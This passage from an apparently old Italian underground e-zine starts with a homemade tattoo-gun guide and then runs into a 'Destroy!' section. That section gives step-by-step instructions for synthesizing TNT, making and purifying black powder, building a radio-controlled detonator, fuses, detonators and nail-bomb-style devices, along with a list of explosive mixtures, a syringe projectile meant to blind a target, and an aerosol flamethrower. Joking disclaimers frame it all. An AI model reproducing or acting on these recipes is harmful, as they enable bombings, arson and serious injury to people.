dalla pelle. - Tappo tipo Ackua Ferrarelle [ ke mi fa cagare assai ] oppure tappo di metallo delle bottiglie di birra. - Ackua - Sapone - Carta Igienika - Rasoio - Schiuma da Barba - Pennarello kolor verde chiaro ( gReEn rUleZ !!! ) --x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x-- (6) -x Necessario dopo aver tatuato x- - Vasellina ( non so se si scrive kon 2 elle o kon una sola... ) --x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x--x-- x-x-x Come si kostruisce La makkinetta per Tatuare x-x-x Kuesto e' una specie di disegno in Ascii , e' la makkinetta per tatuare vista frontalmente sul lato destro. | __________________ 6.1 ----> ====|======_____|______|_____\=- <---- 6.2 6.o --> __|__ / | | | | | | \ |_____| / \_______/ Dai su....con molta immaginazione e' kosi'! -x 6.o il fregnetto attakkato al perno del motorino. x- Vista frontale lato destro || || <------ Asticina di ferro. || || || || _ || |#||| <---- Inkollare `sti due kon della kolla. Perno del motorino. |#||| Poi metterci del nastro adesivo. |#||| |#||| |#||| ################################### #############motorino############## ################################### ################################### ################################### Innanzi tutto kuesta e' la parte + difficile...ma niente paura..basta procedere kon kautela. Attakkate kon della kolla Attack l`asticina di ferro sul perno del motorino [ kuello ke gira ]. Evvai....kui ci siamo.....prima di mettere il nastro adesivo kontrollate ke il motorino giri bene senza problemi, e ke l'asticina descivi un modo perfettamente [ o kuasi ] circolare. Se gira male, lanciate kualke infamia e rikominciate , poi cmq rikordatevi di mettere del nastro adesivo attorno. Ora saldate o attakkate semplicemente i fili al motorino [ ah..konsiglio di rimmediare dei fili non eccessivamente duri, ma piuttosto morbidi. Fatto kuesto passiamo avanti. -x 6.1 La cannuccia. x- Vista frontale lato destro _______ |#####| Asticina di ferro. -----> |#####| ___________________________|#####|____________________________________ | |#####| |///////////////////////////|#####|//////////////////////////////////// | Cannuccia svuotata |#####| dell`inkiostro contenuto. |///////////////////////////|#####|//////////////////////////////////// |___________________________|#####|____________________________________ |#####| |#####| |#####| |#####| Ora svuotate tutta la cannuccia dall'inkiostro residuo e fate un taglio nella cannuccia da una e dall'altra parte per infilarci l'asticina dentro. Fate un taglio preciso perche' se vi sbagliate dovete buttare la cannuccia. Occhei, passiamo al 6.2. -x 6.2 Kome mettere l`ago. x- Vista frontale lato destro ____________________________ | | /////////////|//////////////| <------ Cannuccia della penna. | | /////////////|//////////////| _____________|______________| ====|==============|=========- <---- Ago kon punta fina, attakkato alla cannuccia kon del nastro adesivo. Hey boiz...occhei...questa e' la penultima parte da kostruire...la cannuccia kon l`ago.Prendete la cannuccia e metteci l'ago, legando il tutto kon del nastro adesivo.E`importante ke l'ago possa essere regolato (cioe' essere tirato un po' fuori o un po' dentro) secondo le vostre necessità.Insomma... kol tempo imparerete e vi regolerete da soli. (7) -x Assemblaggio x- Kuesto e' molto facile...allora. Prendete il cucchiaino e piegatelo dandogli una forma simile a kuesta ( non vi lamentate per il disegno !!! :\ ): ________________ / | | \ #carta# / \________/ Occhei...dicevamo ?!?...ah si`...ora nella " cavita' " del cukkiaino metteteci un pezzettino piegato di carta igienika ( per evitare i contatti tra motorino e metallo del cucchiaio ), poi metteteci il motorino kon i fili ke avrete saldato al motorino o semplicemente unito e legate bene con del nastro adesivo. Ecco stiamo kuasi per finire :), ora applicate con del nastro adesivo la cosa trasparente della penna Bic sulla parte dritta del cucchiaino. Ficcateci dentro la cannuccia della Bic senza l`affare dorato ke sta in punta. Ora calmi!...fate passare l`asticina di ferro dentro la cannuccia attraverso i tagli ke avete fatto. L'asticina deve stare ben stretta dentro i tagli della cannuccia.. poiche' potrete regolare in kuesto punto la presa d'inkiostro da parte dell`ago. Pare ke ce l'abbiamo fatta.Per kuelli + sfigati: Partita Finita...la preghiamo di lanciare 2 bestemmioni e rinkominciare da capo. Sarete + sFortunati. :/ ??? (8) -x Se tatuiamo a casa x- Se tatuate a casa non conviene usare batterie, kuindi attakkate il trasformatore al motorino, in genere un motorino non supera i 3 volts kuindi state attenti ( ...basta leggere sotto il motorino ). (9) -x Se tatuiamo per strada x- Se tatuerete per strada konviene portarvi delle batterie *cariche* ;). Attakkate le grappette ( le attash ) ai fili kollegati al motorino e uniteli alla 9 volts o alla 4.5 volts. (10) -x Procedura Pre-Tatu x- Se siete uomini converra' tagliare tutti i peli nella parte dove volete tatuare kon un po' di skiuma da barba e rasoio....ora ke ci penso ho visto anke delle donne virili kon le basette...ummh....orake ci penso...anke se siete donne radete prima ke e' meglio :) . (11) -x Si tatua !!! x- Ekko ora la parte + emozionante...dipingerete un corpo...e lo modifikerete a vostro piacere... w0w !!! Riempite una bottiglia d'ackua e metteteci del sapone dentro, kuesta servira' per pulire le sbavature ke farete. Riempite il tappo di inkiostro e preparate la makkinetta....ci siamo kuasi... dopo aver deciso kosa tatuarvi fatevi un disegno kon il pennarello verde dove vi vorrete tatuare ( ovviamente :) ). Ora state calmi voi e kuello a cui fate il tatuaggio perke' ogni pikkolo movimento o kontrazione e' un`errore irrimediabile. Dopo aver fatto il tatuaggio la pelle si screpolera' un poko....niente paura applicate della vaselina regolarmente! Prima di fare il tatuaggio pensate ke e' una kosa ke vi rimarra' tutta la vita kuindi non fate cazzate..intesi ?!? Alla prossima people..oi! saluto anke elsa, mich e Yoghi CiaoCiao ---dR`sP3nKy---- ###################################### #+----------++----------++----------+# #| dEsTr0y! || dEsTr0y! || dEsTr0y! |# #+----------++----------++----------+# ###################################### -DisClaImeR PeR la SeZiOne "DeStR0y!"- TuTTe le informazioni contenute in questa sezione sono state pubblicate SOLO ed ESCLUSIVAMENTE con lo scopo di DIVERTIRE il lettore (e anke per far tacere la smania distruttiva di alcuni di noi! ;-)). Non si vuole in nessun modo invitare la gente a compiere azioni pericolose per la propria incolumita' e quella di eventuali "vittime", o terze persone. Pertanto non ci riterremmo responsabili di qualunque azione effettuata dopo la lettura di queste informazioni. Il possesso e la lettura di suddette informazioni e' comunque LECITO ----> NON FATE CAZZATE PLZ!<------- -=!!!|-sTimA dElLe dIsTaNzE-|!!!=- Autore: cYb0rG [dGt_BRaInS] In questo articolo trattero' un semplice metodo di calcolo delle distanze, usato nella grande guerra, spero possa tornare utile a qualcuno. Per stimare la distanza 'a vista' con riferimento la figura di un uomo in piedi occorre tener presente che: -fino a 200 metri, tutte le parti del corpo si distinguono nettamente; -a 300 metri, i contorni del viso si dissolvono in una macchia; -a 400 metri, si distingue il contorno del corpo, il viso non e' visibile (se non in circostanze particolarmente favorevoli); -a 500 metri, il corpo sembra affinarsi leggermente, a partire dalle spalle. I movimenti delle estremita' sono ancora percettibili; -a 600 metri, la testa diventa un punto e i particolari non piu' percettibili; -oltre 600 metri, difficilmente si riesce a riconoscere la figura dell'uomo, in quanto irrilevabile ad occhio nudo. Consiglio comunque a tutti di munirsi di un opportuno strumento ottico che permetta di ingrandire notevolmente i particolari piu' lontani: i binocoli e altri sistemi ottici li trattero' presto in altri miei articoli. ---cYb0rG--- [dGt_BRaInS] -=!!!|-SyRyNGe gUn-|!!!=- Autore: cYb0rG [dGt_BRaInS] Premetto che cio' di cui trattero in seguito ha ben poca utilita': e' qualcosa tanto pazzo quanto inutile (almeno cosi' credo) Vi occorrono: 1 Siringa con l'ago 1 Candela (va bene anche se e' mezza consumata) 1 Fiammifero/accendino (insomma qualcosa per accendere) ! ------==HHH||||||||||||||||;;;;;;;;;;| / / ! / ago parte A parte B 1)Accendete una candela e fate fondere un po' di cera 2)Prendete una siringa, inseritevi l'ago, e aspirate la cera finche' e' liquida (ovviamente la cera si asciughera' dentro il condotto dell'ago otturando il foro) 3)Assicuratevi che il condotto dell'ago sia completamente ostruito facendo una leggerissima pressione alla 'parte B'(vedi schema sotto): se l'aria che e' contenuta dentro la siringa non esce e, dopo la vostra pressione la 'parte B' ritorna alla posizione originale, vuol dire che avete fatto bene, se al contrario avete sbagliato qualcosa, tornate al punto 2 4)Tirate completamente fuori la 'parte B' fino a dividere la siringa in due pezzi: ! ------==HHH|||||||||||||||| PARTE A ! <;;;;;;;;;;;;;| PARTE B 5)Reinserite leggermente le 'parte B' nella 'parte A' 6)Puntate un bersaglio, meglio se vivente (lo si trova facilmente, come scrisse qualcuno ;) 7)Fate forza sulla 'parte B' fino a permettere all'aria intrappolata nella siringa di fare pressione sull'ago e di farlo saltare via: complimenti, avete appena accecato qualcuno ;)))) ---Cyborg--- [dGt_BRaInS] -=!!!|-TNT Tut0rIal-|!!!=- Traduzione di: M4l3f1K0 Probabilmente il piu' importante esplosivo usato al giorno d'oggi e' il TNT (trinitrotoluene). Questo e molti altri simili tipi di potenti esplosivi sono usati dall'esercito, per il loro fantastico potere, circa 1000 tonnellate per 2,5 cm quadrati , ed e' anke molto stabile. Il TNT ha anche il grande vantaggio di essere capace di likuefarsi alla temperatura di 82 gradi F., per kuesto puo' essere versato in cartucce, mortai, o kualsiasi altro proiettile. Il TNT dell'esercito è contenuto in contenitori come kuelli delle pile e solitamente vengono innescate da una scarica elettrica accoppiata ad una protezione, ma ci sono anke altri metodi. Preparazione del TNT 1. Prendi due recipienti. Nel primo prepara una soluzione con 76 per cento di acido solforico, 23 per cento di acido nitrico e di 1 per cento di acqua. Nell' altra coppa, prepara un' altra soluzione di 57 per cento di acido nitrico e di 43 per cento di acido solforico (le percentuali sono indicano il rapporto). 2. 10 grammi della prima soluzione vanno fusi in un recipiente vuoto e messi nel congelatore. 3. Aggiungi 10 grammi di toluene, e mescola per diversi minuti. 4. Rimuovi il contenitore dal contenitore e scaldalo gentilmente fino a raggiungere i 50 gradi C. Bisogna mescolare costantemente la soluzione mentre la si riscalda. 5. Aggiungi 15 grammi addizionali dell'acido, dal primo contenitore, mantieni la temperatura per i prossimi 10 minuti, e un liquido oleoso incomincera' a formarsi in cima all'acido. 6. Dopo 10 o 12 minuti, la soluzione deve ritornare al congelatore, e raffreddata a 45 gradi C. Kuando reagisce kuesta temperaura, il likuido oleoso scenderà e si accumulera' sul fondo del recipiente. A kuesto punto, la soluzione dell'acido rimanente dovrebbe essere estratta, usando una siringa. 7. Aggiungi 50 gr in piu' della prima soluzione al liquido oleoso mentre la temperatura viene alzata LENTAMENTE a 83 gradi C.. Dopo che la temperatura ha reagito, mantienila per un'intera mezz'ora. 8. Alla fine di kuesto periodo, raffredda la soluzione fino ai 60 gradi C, e mantienila a kuesta temperatura per un'altra buona mezz'ora. Dopodiché, l'acido dovrebbe essere estratto, lasciando solo un po' del liquido oleoso. 9. Aggiungi 30 grammi di acido solforiko, mentre riscaldi gentilmente il likuido oleoso a 80 gradi C. Tutti gli aumenti di temperatura devono essere compiuti lentamente e gentilmente. 10. Una volta raggiunta la temperatura desiderata, aggiundi 30 grammi della seconda soluzione d'acido, e aumenta la temperatura da 80 gradi C a 104 gradi C., e mantienila per mezz'ora. 11. Dopo kuesto periodo di tre ore, abbassa la temp. della miscela a 100 gradi C. e mantienila per mezz'ora. 12. Dopo kuesta mezz'ora, rimuovi l'olio dall'acido e lavalo con acqua bollente. 13. Dopo il lavaggio con acqua bollente, mentre lo mescoli costantemente, il TNT comincera' a solidificare. 14. Kuando e' partita la solidificazione, aggiungi dell'acqua fredda al recipiente, così ke il TNT formera' delle pallottole. Una volta fatto, avrai ottenuto una buona kualita' di TNT. NOTA: Le temperature usate per la preparazione del TNT sono ESATTE, e devono essere usate come tali. NON stimare o fare approssimazioni. Compra un buon termometro a Gradi Centigradi. ---(m4l3F1K0)--- [dGt_BRaInS] -=!!!|-LANCIAFIAMME-|!!!=- Autore: cYb0rG [dGt_BRaInS] _ .'::'########### /_:_''::;::!############ |@@@@| '.:!!########### |@@@@| _*% |@@@@| | | |____| |_| Ecco come mettere in piedi un semplice lancia fiamme. Hai bisogno di: -Una bomboletta spray di deodorante -Un accendino a gas Procedimento: Prendete una bomboletta spray [piena] di deodorante [una bomboletta di quelle col gas] e tenetela nella mano destra, nella mano sinistra tenete un accendino [con fiamma ad altezza quasi max.]. Accendete l'accendino e puntate col getto della bomboletta la fiamma dell'accendino [occhio ai vestiti!]. Ecco il vostro lancia fiamme ;). A seconda della pressione del gas della bomboletta potete arrivare a fare delle fiammate lunghe quasi un metro. ---Cyborg--- [dGt_BRaInS] -=!!!|-SeMplIcI 'fUm0gEni' E 'pEtARDi'-|!!!=- Autore: cYb0rG [dGt_BRaInS] Ecco uno dei miei soliti articoli assurdi, questa volta vi spieghero' come sfruttare a pieno dei semplici cerini. Materiale occorrente: -Cerini con testa blu -Accendino Il procedimento e' semplicissimo, basta aprire la bacchettina bianca del cerino e piegarlo come nelle figure seguenti: 1. 0 I I I ^ 2. 0 I .I. III ^^^ 3. 0 .I. III IIIII ^^^^^ 4. .0. III IIIII ^^^^^ 5. .III. III°III ^^^^^^^ 6a. ,., .;°;. >Fumogeno< ;III; ^^^^^ 6b. ,III, .I°I. >Petardo< 'III' +-----------------------------------------------+ .,:;I' = Cera 0 = Testa del cerino visivile esternamente ° = Testa del cerino coperta dalla cera +-----------------------------------------------+ Ricordate che non dovrete staccare la testa del cerino e che la dovete mantenere sempre all'interno della cera (in modo da non vederla piu' quando avrete finito il tutto). Adesso potete optare se dare vita a un piccolo, semplice e innoquo 'fumogeno' (con 3/4 di essi si riesce a riempire una piccola stanza) o un altrettanto piccolo 'petardo' (il 'botto' sara' piccolissimo, circa quanto quello di una cipollina), il tutto sta in come piegherete il sottilissimo strato cera a partire dal punto 5: }PETARDO{ Se la cera sara' disposta in maniera equa tra i vari lati otterrete un 'petardo' Per accenderlo dovrete poggiare la fiamma dell'accendino su un lato qualsiasi, quando la cera si accendera' riscaldera' lo zolfo della testa e lo fara' saltare provocando un piccolissimo botto; }FUMOGENO{ Se lascierete la testa del cerino vicina allo strato piu' sottile di cera e, ammasserete la cera tutta da una parte otterete 'un fumogeno'. Per accenderlo dovrete indirizzare la fiamma dell'accendino verso il lato con meno cera, in modo che il sottile strato di cera bruci subito e accenda la testa di zolfo che bruciando consumera' la cera che spegnendosi fumera'. Non credo servano a molto ma, li trovo interessanti in quanto sono estremamente facili da realizzare (direi istantanei) e, in qualche modo potrebbero tornare utili. ---cYb0rG--- [dGt_BRaInS] -=!!!|-Xar'S gUnP0wDeR-|!!!=- Autore: XaRaBaS *** XaRaBaS proletarians productions presents.... *** ________________________________________________________ | | | | | ---> XaR's GuNpOwDeR <--- | | | -------------------------------------------------------- N.B. il sottoscritto XaRaBaS, non si ritiene responsabile per qualsiasi uso improprio di questa guida, ammetto di averla scritta solo x scopo informativo, e x questo deve continuare a vivere, altrimenti, se non sei d'accordo con me, cancella subito sto file! :) --( Cenni Storici )-- Cos'è la polvere da sparo? Beh, sinceramente è stata scoperta in una circostanza singolare.. Pensate che dei frati volevano scoprire l'elisir dell'eterna giovinezza, e ma hanno skoperto quello dell'eterna bomba ... ;) Con la sua scoperta il mondo della guerra è stato rivoluzionato ponendo molto spesso un dubbio: si ci chiedeva infatti circa nel 1500 se fosse qualkosa di ignobile adoperarla nelle battaglie o nelle guerre.. io penso solo che sia utile saperla fabbricare, per il resto sinceramente me ne fotto... ;) Beh spero che questa guida vi piaccia, godetevela! --( Ingradienti )-- Sinceramente ritengo che la polvere nera, also called "polvere da sparo", sia l'esplosivo più economico da produre e anche il più semplice, dal punto di vista pratico.... Beh, ecco qui la lista degli ingradienti: - Nitrato di Potassio ( è un fertilizzante, lo vendono in confezioni di 50 kili, xciò munitevi di macchina! ;) £ 42.000 - Carbone ( qualsiasi tipo di carbone, sia carbonella, che comprato, basta che non sia carbone "coke" ) - e BaSTA! che cosa vi aspettavate? Vi ho detto che è estremamente economico! :) --( COme FaRe? )-- Allora, prima di tutto dovete essere sicuri della purezza del nitrato di potassio: fate una prova prima, adesso, cosa dovete fare: Dovete polverizzare il carbone che avete procurato, ma polverizzare nel vero senso della parola ;) Una volta fatto questo, cioè dopo aver ridotto in polvere una media quantità di carbone, non dovete fare altro che miscelare il nitrato di potassio e il carbone in queste dosi: - 1 dose di Carbone - 2 dosi di KnO3 (Nitrato di Potassio, l'ho chiamato x formula) Può kapitare che il nitrato di potassio che vi vendono sia in granuli... nessun problema! ;) Polverizzate pure quello! Ma può anche capitare di peggio... come quello che sto per dirvi ora.. Beh, ora avete ottenuto la polvere da sparo, anche se questo è ancora da vedere :), dunque è necessario fare una prova.. Prendete un po di polvere, ma POCA mi raccomando, altrimenti si produrrà un fumo pazzesko ;), e buttategli sopra un cerino acceso: se prende fuoco in modo istantaneo, allora il nitrato era puro abbastanza, e la vostra polvere da sparo è ottima, mentre se x prendere ha bisogno che ci teniate su il cerino... beh Buttatela nel cesso! Voi vi chiederete, "KE KAZZO E' SUCCESSO??" beh, risposta semplice: il nitrato di potassio non era abbastanza puro, di konseguenza, è venuta una "cagata da sparo" ;) Allora starà balenando nella vostra mente il pensiero :" KAZZO! Ora kon 48 kili di KnO3 sul groppone ke KAZOO CI FACCIO!!????", ma è proprio qui che vi sbagliate, ebbene, toccherà a noi purificare il nitrato di potassio. Vi Spiego subito come, sono necessari: - 1 pentolino capiente - 1 Bottiglia d'acqua - Nitrato di Potassio (Ma va?) Bene, procediamo: Prendete una bottiglia piena d'acqua, preferibilmente di plastica, anche xchè dopo dovrà essere gettata :), e scioglieteci dentro il nitrato di potassio fino a quando non se ne scioglie +, e ve accorgerete presto, una volta che si sarà tutto saturato, mettete il contenuto della bottiglia nel pentolino, e fate bollire tutto: bollendo, l'acqua evapora, portando con se anche le impurità così sul fondo del pentolino rimarranno solo i cristalli di KnO3, e così avrete ottenuto il Nitrato di potassio PURISSIMO! Adesso non rimane altro che ripetere il procedimento di miscelatura e il gioco è fattO! MI raccomando, prudenza boys! Spero che quanto ho scritto vi sia di aiuto. Alla Prossima Guida! BYE :) GrEEtS FrOm X-a-R-a-B-a-S X ogni comunicazione, la mia e-mail è aperta a tutti: xarabas@yahoo.com Inf0: www.xarabas.com e' down, xcio' appena avro' un'altra home lo comunichero'. ---X-a-R-a-B-a-S--- -=!!!|-aRchitEttUrA dEgli 0rDigNi eSpL0sIvi-|!!!=- Autore: cYb0rG [dGt_BRaInS] Un ordigno esplosivo e' costituito normalmente da: -esplosivo; -innesco; -accenditore; -involucro contenitore. }ESPLOSIVO{ L'esplosivo e' una sostanza la cui prerogativa e' la capacita' di trasformarsi istantaneamente in un grande volume di gas ad elevatissima temperatura che si espande a pressione nell'ambiente circostante, quindi in grado di generare un enorme calore e pressione che si traduce in grande forza d'urto con effetti distruttivi. Tale sostanza si trasforma a seguito di sollecitazioni esterne: per urto, sfregamento o calore, sviluppando elevata energia termica, effetti luminosi, gas ed energia meccanica. L'espansione dei gas e' detta esplosione, ed e' sempre accompagnata da un boato, o detonazione. I gas espansi ad elevata temperatura creano un'onda diretta o di pressione e, per la loro temperatura, si innalzano e svaniscono nell'atmosfera. L'aria respinta e compressa dall'onda diretta torna istantaneamente e con violenza a riempire il vuoto prodottosi, dando luogo ad un'onda retrograda, i cui effetti si sommano a quelli prodotti dall'onda diretta. L'onda diretta che incontra un oggetto produce delle lesioni che possono poi venir aggravate dall'onda retrograda; ad esempio un muro può essere lesionato dall'onda diretta e poi fatto cadere dall'onda retrograda. E' per tale fenomeno che gli effetti di una bomba possono apparire diversi da quelli dettati dalla comune esperienza; ad esempio l'esplosione di una bomba in una strada può far ritrovare le saracinesche dei negozi e le vetrine sventrate verso l'esterno, le pareti crollate verso la strada ed il tetto scoperchiato verso l'alto. L'onda retrograda creata dall'aria che ritorna violentemente verso il centro dell'esplosione può dar luogo a una successiva onda rimbalzante all'indietro, ma di non rilevante potenzialità. Quando l'esplosione avviene nel terreno, si creano in esso delle vibrazioni con onde d'urto simili a quelle di un terremoto, che possono cagionare lesioni agli edifici o che possono avere l'effetto di una mazzata su di una persona a contatto con la superficie investita (una bomba che scoppia sotto una nave può provocare lesioni a coloro che si trovano sulla sua tolda per il solo effetto dell'urto). E' per questo motivo che chi si trova a breve distanza da un'esplosione deve stendersi a terra avendo però l'avvertenza di reggersi solo sulle punte dei piedi ed i gomiti: in tal modo evita lo spostamento d'aria, l'ondata di calore e l'onda d'urto trasmessa dal terreno. , -+- | / \ |^^^| | O |________ | | | | | _ _ | | | | | |_|| |___|_|_|____| -------------- prima -------------- , -+- \ / , |^^^| | O :________ | | | : ; _ _ . | | | < |_:| |___|_|_|____, . : . °. --------------- dopo <<------ onda diretta <<------ -------------- _ %, t^''l >0 ;_-_ __ j i ^ ° : : ; _ . . I ; ; < ;-:< >_ _i_l#:_ __, °.:,°°.,'.-;.' ----------------- dopo ------->>> onda retrograda ------->>> ----------------- A breve distanza, l'esplosione agisce direttamente con onde d'urto pulsanti che attraversano l'oggetto e vengono riflesse dalle sue superfici libere così che si creano in esso sovratensioni che ne provocano la rottura. All'esplosione segue normalmente una fiammata con possibile proiezione di corpi incandescenti che possono provocare incendi nonché una irradiazione di calore che può essere la causa di ustioni da irradiazioni e di possibili incendi Nel caso di esplosivo caricato in contenitori metallici (mine, bombe, proiettili, ordigni esplosive), o di bombe chiodate (create legando grossi chiodi attorno ad un nucleo di esplosivo), vi è l'ulteriore effetto della proiezione di frammenti metallici di varie dimensioni (schegge). Frammenti minuti ma aventi elevata velocità possono cagionare lesioni più ampie di quelle prevedibili. Le persone coinvolte da un'esplosione sono sottoposte ad entrambi gli effetti della medesima. La potenza di un esplosivo ed i suoi effetti dipendono da vari fattori, quali la velocità ed il calore di esplosione, la quantità di gas prodotti, influenzata dalla temperatura di esplosione, e le conseguenti pressioni realizzabili. Esplosivi ad alta velocità di detonazione hanno maggori effetti distruttivi anche per semplice contatto, potendo tranciare di netto piastre e sbarre metalliche; esplosivi che producono molto gas sono più idonei in campo civile in cui occorre sfruttare l'effetto di distacco. La prova più usata per determinare la potenza di un esplosivo consiste nel farlo esplodere entro un grosso blocco di biombo (blocco di Trauzl) e nel misurare poi il volume della cavità creatasi. In base ad essa, se si assume che la gelatina esplosiva abbia il valore eguale a 100, si ha la seguente scala di valore per gli altri esplosivi: Gelatina esplosiva, 100 T4, 90 Pentrite, 80 Tritolo, 50 Fulminato di mercurio, 20 Polvere nera, 7 }INNESCO{ La polvere nera può essere fatta esplodere per semplice accensione a mezzo di una miccia; per gli altri esplosivi (salvo casi particolari in cui può bastare un forte calore) occorre un mezzo d'innesco che normalmente è il detonatore; esso è costituito da un tubicino metallico chiuso da un lato e contenente una miscela di esplosivi primari. In alcuni casi, specie usando esplosivi poco sensibili, nel detonatore è contenuto, sotto a quello primario, anche uno strato di esplosivo secondario molto potente; in altri casi il detonatore viene collegato ad un separato detonatore secondario costituito da un quantitativo variabile da pochi grammi fino ad un chilo di esplosivo potente (Pentrite, T4, TNT). }ACCENDITORE{ L'accenditore e' un congegno meccanico, chimico o elettrico, idoneo a far reagire l'innesco. }INVOLUCRO CONTENITORE{ L'ordigno esplosivo viene depositato in un involucro che spesso e' costituito da scatole, valigie... Accenditore e involucro contenitore possono anche mancare. Il funzionamento dell'ordigno esplosivo, in genere, si puo' scomporre cosi': L'accenditore fa detonare l'innesco... ...la detonazione dell'innesco si propaga all'esplosivo... ....ha luogo la reazione esplosiva. --- Bibliografia: Gli Esplosivi, Hoepli Tecnica degli esplosivi, Bianco Impiego degli esplosivi, Bianco Ricettario Industriale, Hoepli --- Per maggiori informazioni sugli esplosivi vi consiglio di leggere l'articolo di Jackal66 apparso sullo scorso numero. ---Cyborg--- [dGt_BRaInS] -=!!!|-b00m rAdi0k0mAnDatI-|!!!=- Autore: LeoNEr0 Avete mai pensato alla comodita' di un dispositivo che consente l'accensione di esplosivi via radio? Si? Allora vi spiego come fare... Avete mai sentito parlare di razzimodellismo? E' un hobby che conta migliaia di persone in tutto il mondo. In cosa consiste? Nel lanciare per aria, grazie a delle cariche di propellente, modelli di razzi. Ora, il propellente di questi modelli, viene innescato con degli "accenditori", che non sono altro che dei filamenti ricoperti di pirogeno. Per attivarli hanno bisogno di una tensione di 12 o 6 volt. Per costruire il nostro radiocomando avremo bisogno del sguente materiale: - accenditori per razzimodellismo (dopo vi dico dove trovarli) - una vecchia automobilina radiocomandata - esplosivo in questione (ovvio...) Allora, prendete l'automobilina e smembratela al fine di recuperare il circuito di ricezione radio, il motore ed il vano batterie (attenzione a non rompere i fili!). Una volta terminata questa operazione azionate il radiocomando: il motore funziona? Bene, allora scollegate i fili di alimentazione del motore e collegateci i terminali dell'accenditore. Provate ad azionare il radicomando, l'accenditore dovrebbe incendiarsi!!! Per rendere la cosa piu' facile, ai fili di alimentazione che vanno dal circuito di ricezione all'accenditore saldate con lo stagno (non lo sapete fare?!? Gravissimo!) due pinzette a coccodrillo, le quali saranno piu' semplici da collegare all'accenditore. Adesso mettete l'accenditore all'interno dell'esplosivo oppure a contatto con la miccia, allontanatevi, azionate il radicomando e BOOOOOM! Per quanto riguarda l'alimentazione del dispositivo di ricezione, non importa che sia a 3, 6 o 9 volt, perche' queste tensioni vanno bene per il funzionamento degli accenditori, ma dobbiamo assicurarci che le batterie siano nuove per fornire la corrente necessaria. Gli accenditori li trovate presso la ditta VOLO di Milano che effettua vendite per corrispondenza. L'indirizzo di posta elettronica e': mc3314@mclink.it. Vi cosiglio gli accenditori ESTES che costano 8500 lire 6 pezzi e funzionano in teoria a 6 volt, ma sono molto flessibili e affidabili. ---LeoNErO--- -=!!!|-lE mIccE-|!!!=- Autore: cYb0rG }A COMBUSTIONE LENTA{ Materiale occorrente: -Polvere nera flemmatizzata -Tubicino impermeabile -Siringa Procedimento: Preparate della polvere nera sfasando le proporzioni tra salnitro (75%), carbone (15%) e zolfo (10%) portando il salnitro all'80% e, di conseguenza, zolfo e carbone ciascuno al 10%. Avete ottenuto della polvere nera flemmatizzata ovvero, una polvere piu' lenta alla combustione (e' l'eccesso di salnitro che provoca cio'). Aspirate con una siringa (senza ago) la polvere e versatela all'interno di un tubicino impermeabile di gomma molla (reperibile nei negozi di idraulica) fino a riempire del tutto il tubo (sappiate che, se avrete fatto tutto bene, il tubicino restera' comunque pieghevole anche con la polvere all'interno). [CONTROLLO DELLA MICCIA A COMBUSTIONE LENTA] -Verificate l'integrita' dell'involucro contenentie l'esplosivo; -Verificate che la miccia non presenti alterazioni esterne; -Verificate prima la velocita' effettiva di combustione (un metro di miccia a lenta combustione dovrebbe bruciare senza scoppietti, in un tempo compreso fra 110 e 150 secondi). }DETONANTE{ Materiale occorrente: -Una calza di fibra (colore giallo paglierino) -Esplosivo detonante (pentrite, tnt o acido pirico) Il procedimento consiste semplicemente (quasi come sopra) nel riempire la calza di fibra con l'esplosivo. [CONTROLLO DELLA MICCIA DETONANTE] Oltre ai controlli utilizzati per la miccia precedente, dovrete verificare l'integrita' dei singoli spezzoni: gli spezzoni che presentano lesioni o sensibili piegature devono essere scartati. }ORDINARIA{ Materiale occorrente: -delle corde vecchie, dei lacci di scarpe... -del salnitro -un pentolino -un fornello (meglio se elettrico) -dell'acqua Procedimento: Versate dell'acqua in un pentolino e con un cucchiaio versategli anche del salnitro (circa il 5% dell'acqua). Mettete nel pentolino le corde e i lacci precedentemente cercati. Mettete il tutto a bollire per una decina di minuti. Dopo aver fatto bollire i tutto estraete le corde dal pentolino, torcetele e allungatele. Fatele seccare all'aperto in un posto non eccessivamente caldo (meglio se all'ombra). }A COMBUSTIONE RAPIDA{ Materiale occorrente: -Cartine (quelle per rollare ;) -Zolfo (va bene anche quello delle teste di cerini) Procedimento: Se avete dei cerini tagliategli le teste e mettetele sulla cartina (occorrono per una cartina piccola circa 20 teste), meglio ancora se avete dello zolfo, potete versarne un po' sulla cartina. Lo zolfo deve essere posto in modo uniforme al centro della cartina e che dovete tracciarne una linea, senza lasciare spazi in mezzo. Se non sapete rollare, potete seguire il seguente schema: ______________________ ______________________ 1. | | 2. | | | | | | |----------------------| |zzzzzzzzzzzzzzzzzzzzzz| | | | | |______________________| |______________________| ______________________ ______________________ 3. | | 4. |______________________| |______________________| +---------+ z zolfo +---------+ Ricordate che lo zolfo non fa molto bene all'organismo umano quindi vi sconsiglio di aspirarlo o di leccare la cartina per chiuderla, basta leccarsi un dito e poi passarvelo. ---Cyborg---- [dGt_BRaInS] -=!!!|-10 gRanDi mIsCelE eSpl0sIvE-|!!!=- Traduzione di: m4l3f1k0 [dGt_BRaInS] !DISCLAIMER!L'autore di kuesto file non si prende responsabilità delle azioni del lettore, e non incoraggia il lettore a fare gli esplosivi menzionati in questo file, è illegale, ed è anche molto stupido e pericoloso. Questo file è a a puro scopo informativo. Divertiti e non impazzire! -Op Ivy(ricorda che niente è illegale finchè non vieni preso!) 10 GRANDI MISCELE ESPLOSIVE 1)Perclorato di potassio e canna da zucchero 2)Nitrato di sodio e solfuro di fluoro 3)Bicromato di potassio e solfato di Antimonio 4)Nitrato di Guanidina e Antimonio polverizzato 5)Permanganato di potassio e zucchero polverizzato 6)Clorato di Bario e paraffina 7)Clorito di sodio e Alluminio polverizzato (non sono sicuro su kuest'ultimo) 8)Perclorato di magnesio e canna da zucchero 9)Nitrato di Ammonio (puro più del 40%) e Benzina (MOLTO POTENTE) 10)Perossido di sodio e fiori di solfuro ---(m4l3f1k0)--- [dGt_BRaInS] -=!!!|-i dEt0nAt0rI-|!!!=- Autore: cYb0rG [dGt_BRaInS] }DETONATORE A MICCIA{ Si realizza inserendo in un bossolotto metallico, forato ad un'estremita', una miccia. Il bossolotto deve essere prima riempito, naturalmente, con dell'esplosivo molto sensibile al calore. [CONTROLLO DEL DETONATORE A MICCIA] -Osservate se il bossolotto presenta segni di deterioramento o di danneggiamento e non esitate a scartarlo; -Non introducete la miccia nel bossolotto con movimenti rotatori; -Inserite la miccia con delicatezza }DETONATORE ELETTRICO{ Puo' essere costituito, primitivamente, da una comune lampadina elettrica (da poche volt) col vetro esterno rotto e con una carica di esplosivo sensibile al calore 